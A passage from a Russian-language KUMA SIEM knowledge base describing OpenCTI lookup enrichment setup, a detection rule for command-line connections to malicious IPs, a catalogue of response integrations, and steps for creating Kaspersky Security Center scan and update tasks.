<table id="bkmrk-%D0%9F%D0%B0%D1%80%D0%B0%D0%BC%D0%B5%D1%82%D1%80-%D0%97%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%9D%D0%B0"><thead><tr><th>Параметр</th><th>Значение</th></tr></thead><tbody><tr><td>Название</td><td>`<название секрета>`</td></tr><tr><td>Тенант</td><td>`<название тенанта, например, Main>`</td></tr><tr><td>Тип</td><td>`credentials`</td></tr><tr><td>Пользователь</td><td>`<LOOKUP_BASIC_USER>`</td></tr><tr><td>Пароль</td><td>`<LOOKUP_BASIC_PASSWORD>`</td></tr><tr><td>Описание</td><td>*(опционально)*</td></tr></tbody></table>

[![](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/image-1775548411657.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/image-1775548411657.png)

### 2. Создание правила обогащения

Перейдите в **Ресурсы → Правила обогащения → Добавить** и заполните параметры:

<table id="bkmrk-%D0%9F%D0%B0%D1%80%D0%B0%D0%BC%D0%B5%D1%82%D1%80-%D0%97%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%9D%D0%B0-1"><thead><tr><th>Параметр</th><th>Значение</th></tr></thead><tbody><tr><td>Название</td><td>`<название правила обогащения>`</td></tr><tr><td>Тенант</td><td>`<название тенанта, например, Main>`</td></tr><tr><td>Исходный тип</td><td>`cybertrace-http`</td></tr><tr><td>URL</td><td>`<IP-адрес/FQDN сервера OpenCTI:порт>`</td></tr><tr><td>Секрет</td><td>`<секрет, созданный на предыдущем шаге>`</td></tr><tr><td>Ключевые поля</td><td>`<поля, значения которых передаются в OpenCTI на анализ>`</td></tr><tr><td>Время ожидания</td><td>`0`</td></tr><tr><td>Макс. кол-во событий в очереди</td><td>`1 000 000`</td></tr><tr><td>Описание</td><td>*(опционально)*</td></tr><tr><td>Параметры фильтра</td><td>`<условия срабатывания правила, например: внутренние IP → внешние IP>`</td></tr></tbody></table>

### 3. Подключение правила к коррелятору

После создания добавьте правило обогащения на нужный коррелятор.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/I82image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/I82image.png)

## Производительность и рекомендации

Количество запросов к сервису OpenCTI-KUMA Lookup Proxy не ограничено жёстко в коде, однако зависит от:

- производительности сервера;
- параметров Gunicorn;
- производительности базы данных OpenCTI;
- сложности GraphQL-запросов.

OpenCTI хранит данные в **Elasticsearch** в виде графовой модели STIX:

- **SDO** (STIX Domain Objects);
- **SRO** (STIX Relationship Objects).

Сложные графовые запросы могут существенно снижать производительность, поэтому **не рекомендуется** использовать интеграцию для обогащения всего потока событий.

**Рекомендуется применять интеграцию для:**

- корреляционных событий;
- событий, отфильтрованных по узким условиям.

## Пример работы

В качестве примера рассмотрим детектирование обращений к вредоносным IP-адресам из командной строки. Для этого:

1\. В нормализатор событий Windows Event ID 4688 добавьте извлечение IP-адресов из командной строки (\*названия полей могут отличаться с учетом Вашей схемы нормализации).

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/mHwimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/mHwimage.png)

2\. Отредактируйте правило обогащения (названия полей могут отличаться с учетом Вашей схемы нормализации). В разделе «Ключевые поля» укажите поле, в которое записывается IP адрес при его обнаружении в командной строке, тем самым «сужая» фильтр поиска событий для обогащения. Пример настройки правила обогащения ниже:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/xaDimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/xaDimage.png)

3\. Сохраните и обновите параметры коллектора.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/RkHimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/RkHimage.png)

4\. Создайте правило корреляции с фильтром:

```bash
DeviceEventClassID = 4688
AND DeviceProduct = 'Windows'
AND DeviceVendor = 'Microsoft'
AND SourceProcessName icontains [
  'cmd.exe',
  'powershell.exe'
]
AND tidetect('', Reason)

```

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/scaled-1680-/nidimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-04/nidimage.png)

5\. Привяжите правило к коррелятору. После выполнения настроек необходимо сохранить и обновить (можно и перезапустить) параметры коррелятора.

Таким образом, KUMA может обнаруживать обращения к вредоносным IP-адресам, выполняемым из командной строки, и автоматически обогащать такие события данными Threat Intelligence.

# Реагирование

# Описание готовых интеграций по реагированию

<p class="callout info">Весь актуальный и новый контент с описанием добавляется в GitHub - [https://github.com/KUMA-Community](https://github.com/KUMA-Community) </p>

#### **<span style="color: rgb(22, 145, 121);">Реагирование из коробки KUMA</span>**

<div id="bkmrk-%D0%A0%D0%B5%D0%B0%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BD%D0%B0-kes-">Реагирование на KES через KSC:</div><div id="bkmrk-%D0%97%D0%B0%D0%BF%D1%83%D1%81%D0%BA-%D0%B7%D0%B0%D0%B4%D0%B0%D1%87%D0%B8-%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB">- Запуск задачи обновления баз KES
- Запуск задачи сканирования KES

</div><div id="bkmrk-%D0%A0%D0%B5%D0%B0%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-kedr%3A">Реагирование KEDR:</div><div id="bkmrk-%D0%98%D0%B7%D0%BE%D0%BB%D1%8F%D1%86%D0%B8%D1%8F-%D1%85%D0%BE%D1%81%D1%82%D0%B0-%D0%B8-%D1%81%D0%BD%D1%8F">- Изоляция хоста и снятие с изоляции
- Блокировка хеша по md5 и sha256 на хосте
- Запуск исполняемого файла на хосте по полному пути

</div><div id="bkmrk-%D0%A0%D0%B5%D0%B0%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-kics-ne">Реагирование KICS Networks:</div><div id="bkmrk-%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5-%D1%81%D1%82%D0%B0%D1%82%D1%83%D1%81%D0%B0-%D0%B0%D0%BA">- Изменение статуса актива на Разрешенное
- Изменение статуса актива на Неразрешенное

</div><div id="bkmrk-%D0%A0%D0%B5%D0%B0%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-ad%3A">Реагирование AD (с версии KUMA 2.1):</div><div id="bkmrk-%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0-%D0%A3%D0%97-%D0%A1%D0%B1%D1%80%D0%BE%D1%81-">- Блокировка УЗ
- Сброс пароля УЗ
- Добавление УЗ в группу и исключение из группы

</div><div id="bkmrk-%D0%A0%D0%B5%D0%B0%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-kaspers">Реагирование Kaspersky Automated Security Awareness Platform (KASAP) – это платформа для онлайн-обучения:</div><div id="bkmrk-%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C-%D0%B3%D1%80%D1%83%D0%BF%D0%BF%D1%8B-%D0%BE%D0%B1%D1%83%D1%87">- Изменять группы обучения пользователей
- Просматривать информацию о курсах, пройденных пользователями, и полученных ими сертификатах

</div>#### **<span style="color: rgb(22, 145, 121);">Готовые скрипты (описание)</span>**

<div id="bkmrk-telegram-response%3A">Telegram Response:</div><div id="bkmrk-%D0%9E%D0%BF%D0%BE%D0%B2%D0%B5%D1%89%D0%B5%D0%BD%D0%B8%D1%8F-%D0%BE%D0%B1-%D0%B0%D0%BB%D0%B5%D1%80%D1%82%D0%B5">- Оповещения об алерте в телеграм канале

</div><div id="bkmrk-telegram-response-ad"><div id="bkmrk-telegram-response-ad-1">Telegram Response Advanced: </div><div id="bkmrk-%D0%9E%D0%BF%D0%BE%D0%B2%D0%B5%D1%89%D0%B5%D0%BD%D0%B8%D1%8F-%D0%BE%D0%B1-%D0%B0%D0%BB%D0%B5%D1%80%D1%82%D0%B5-1">- Оповещения об алерте в телеграм канале
- Бот позволяет закрывать алерты по кнопке, создавать резервную копию и выполнять команды ssh на KUMA.

</div></div><div id="bkmrk-usergate-response%3A">UserGate Response:</div><div id="bkmrk-%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0-%D0%BF%D0%BE-ip-%D0%91%D0%BB%D0%BE">- Блокировка по IP
- Блокировка по URL
- Блокировка по Домену

</div><div id="bkmrk-kedr-response-%28scrip">KEDR Response (script):</div><div id="bkmrk-%D0%98%D0%B7%D0%BE%D0%BB%D1%8F%D1%86%D0%B8%D1%8F-%D1%85%D0%BE%D1%81%D1%82%D0%B0-%D0%B8-%D1%81%D0%BD%D1%8F-1">- Изоляция хоста и снятие с изоляции
- Блокировка хеша по md5 и sha256 на хосте
- Запуск исполняемого файла на хосте по полному пути
- Логирование реагирования в системном журнале

</div><div id="bkmrk-ad-response%3A">AD Response:</div><div id="bkmrk-%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0-%D0%A3%D0%97-%D0%B8-%D1%80%D0%B0%D0%B7%D0%B1">- Блокировка УЗ и разблокировка
- Выход пользователя из активных сессий
- Добавление УЗ в группу и исключение из группы

</div><div id="bkmrk-kwts-response%3A">KWTS Response:</div><div id="bkmrk-%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0-%D0%BF%D0%BE-url-%D0%91%D0%BB">- Блокировка по URL
- Блокировка по IP
- Блокировка по DOMAIN

</div><div id="bkmrk-ksmg-response-%28%D0%BF%D0%BE-%D0%B7%D0%B0">KSMG Response (по запросу):</div><div id="bkmrk-%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0-%D0%BF%D0%BE-email-">- Блокировка по EMAIL
- Блокировка по IP

</div><div id="bkmrk-kuma%3A-%D0%97%D0%B0%D1%89%D0%B8%D1%82%D0%B0-%D0%BE%D1%82-%D0%B1%D1%80%D1%83%D1%82"><div id="bkmrk-cisco-asa%3A">KUMA:</div><div id="bkmrk-%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0-%D0%BF%D0%BE-ip">- Защита от брутфорса интерфейса KUMA

</div></div><div id="bkmrk-cisco-asa-firewall%3A">Cisco ASA Firewall:</div><div id="bkmrk-%D0%91%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0-%D0%BF%D0%BE-ip-1">- Блокировка по IP

</div><div id="bkmrk-bifit-mitigator%3A">BIFIT Mitigator:</div><div id="bkmrk-%D0%92%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F-%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0">- Временная блокировка трафика по src\_ip, dst\_ip, src\_port, dst\_port, protocol

</div><div id="bkmrk-"></div>#### <span style="color: rgb(22, 145, 121);">**Создание<span style="mso-bookmark: _Toc225510216;"><span style="mso-ansi-language: EN-US;"> </span>задач</span><span style="mso-bookmark: _Toc225510216;"><span style="mso-ansi-language: EN-US;"> </span>в</span><span style="mso-bookmark: _Toc225510216;"><span style="mso-ansi-language: EN-US;"> <span lang="EN-US">Kaspersky Security Center</span></span></span>**</span>

Предварительно выполните шаги по настройке интеграции с Kaspersky Security Center, описанные в Разделе Интеграция с Kaspersky Security Center.

Вы можете вручную или автоматически запускать на активах Kaspersky Security Center, импортированных в KUMA, задачу обновления антивирусных баз и модулей программы и задачу поиска вредоносного ПО. На активах должны быть установлены программы Kaspersky Endpoint Security для Windows или Linux.

Предварительно на стороне Kaspersky Security Center необходимо создать задачи обновления антивирусных баз и поиска вредоносного ПО.

**<span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: EN-US;">Kaspersky</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: EN-US;">Security</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: EN-US;">Center</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: EN-US;">Web</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: EN-US;">Console</span>**

<span style="mso-bidi-font-size: 10.0pt;">Чтобы создать задачу поиска вредоносного ПО:</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Выберите **Активы (Устройства)** </span>**<span style="mso-bidi-font-size: 10.0pt; font-family: 'Arial',sans-serif; mso-ansi-language: RU;">→</span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;">Задачи.</span>**

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В **Списке задач** нажмите на кнопку **Добавить**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Запустится мастер создания задачи.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Настройте параметры задачи:</span>

<span style="mso-bidi-font-size: 10.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В раскрывающемся списке **Приложение** выберите используемое приложение </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Kaspersky</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Endpoint</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Security</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">для </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Windows</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">(в нашем примере 12.8.0).</span>

<span style="mso-bidi-font-size: 10.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В раскрывающемся списке **Тип задачи** выберите Поиск вредоносного ПО.</span>

<span style="mso-bidi-font-size: 10.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В поле **Название задачи** введите название создаваемой задачи. **Важно в названии задачи указать префикс «KUMA»**. Задачи для </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Kaspersky</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Endpoint</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Security</span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> с данным префиксом в дальнейшем будут доступны в интерфейсе KUMA. </span>

<span style="mso-bidi-font-size: 10.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В блоке **Устройства, которым будет назначена задача** выберите **Задать адреса устройств вручную или импортировать из списка**.</span><span style="mso-ansi-language: RU;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/I00image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/I00image.png)

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Нажмите на кнопку **Далее**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">6.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В окне **Область действия задачи** нажмите **Добавить** **устройства.** В окне справа **Добавить устройства** выберите **Выбрать устройства, обнаруженные в сети Сервером администрирования.** Для создания задачи можно указать любое устройство. </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">KUMA</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">будет передавать имена устройств, на которых нужно запустить задачу поиска вредоносного ПО.</span>

<span style="mso-bidi-font-size: 10.0pt;"> </span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/IRTimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/IRTimage.png)

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">7.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Нажмите **Добавить** и затем **Далее**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">8.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В окне **Выбор учетной записи для запуска задачи** укажите **Учетная запись по умолчанию**. Нажмите **Далее**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">9.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Завершите работу мастера, нажав кнопку **Готово**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">10.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В открывшемся окне свойств задачи перейдите на вкладку **Параметры приложения** и укажите **Области проверки.** В рамках тестирования можно уменьшить область проверки. В дальнейшем эту настройку можно изменить.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/ujDimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/ujDimage.png)

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В секции **Действие при обнаружении угрозы** снимите флажок **Выполнять только во время простоя компьютера.**</span>

<span style="mso-bidi-font-size: 10.0pt;"> </span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/wHnimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/wHnimage.png)

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Перейдите на вкладку **Расписание** и убедитесь, что для параметра **Запуск задачи** указано **Вручную**.</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/7bximage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/7bximage.png)

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Нажмите **Сохранить**.</span>

<span style="mso-bidi-font-size: 10.0pt;">Задача поиска вредоносного ПО создана.</span>

<span style="mso-bidi-font-size: 10.0pt;">Далее создадим задачу обновления антивирусных баз и модулей:</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Выберите **Активы (Устройства)** </span>**<span style="mso-bidi-font-size: 10.0pt; font-family: 'Arial',sans-serif; mso-ansi-language: RU;">→</span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;">Задачи.</span>**

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В **Списке задач** нажмите на кнопку **Добавить**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Запустится мастер создания задачи.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Настройте параметры задачи:</span>

<span style="mso-bidi-font-size: 10.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В раскрывающемся списке **Приложение** выберите используемое приложение </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Kaspersky</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Endpoint</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Security</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">для </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Windows</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">(в нашем примере 12.8.0).</span>

<span style="mso-bidi-font-size: 10.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В раскрывающемся списке **Тип задачи** выберите **Обновление**.</span>

<span style="mso-bidi-font-size: 10.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В поле **Название задачи** введите название создаваемой задачи. **Важно в названии задачи указать префикс «KUMA»**. Задачи для </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Kaspersky</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Endpoint</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">Security</span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> с данным префиксом в дальнейшем будут доступны в интерфейсе KUMA. </span>

<span style="mso-bidi-font-size: 10.0pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В блоке **Устройства, которым будет назначена задача** выберите **Задать адреса устройств вручную или импортировать из списка**.</span><span style="mso-ansi-language: RU;"> </span>

<span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span>[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/OF7image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/OF7image.png)

<span style="mso-bidi-font-size: 10.0pt; mso-no-proof: yes;"> </span>

<span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">Нажмите на кнопку **Далее**.</span>

<span style="mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU;"><span style="mso-list: Ignore;">6.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">В окне **Область действия задачи** нажмите **Добавить** **устройства.** В окне справа **Добавить устройства** выберите **Выбрать устройства, обнаруженные в сети Сервером администрирования.** Для создания задачи можно указать любое устройство. </span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt;">KUMA</span><span lang="EN-US" style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;"> </span><span style="mso-bidi-font-size: 10.0pt; mso-ansi-language: RU;">будет передавать имена устройств, на которых нужно запустить задачу обновления антивирусных баз.</span>

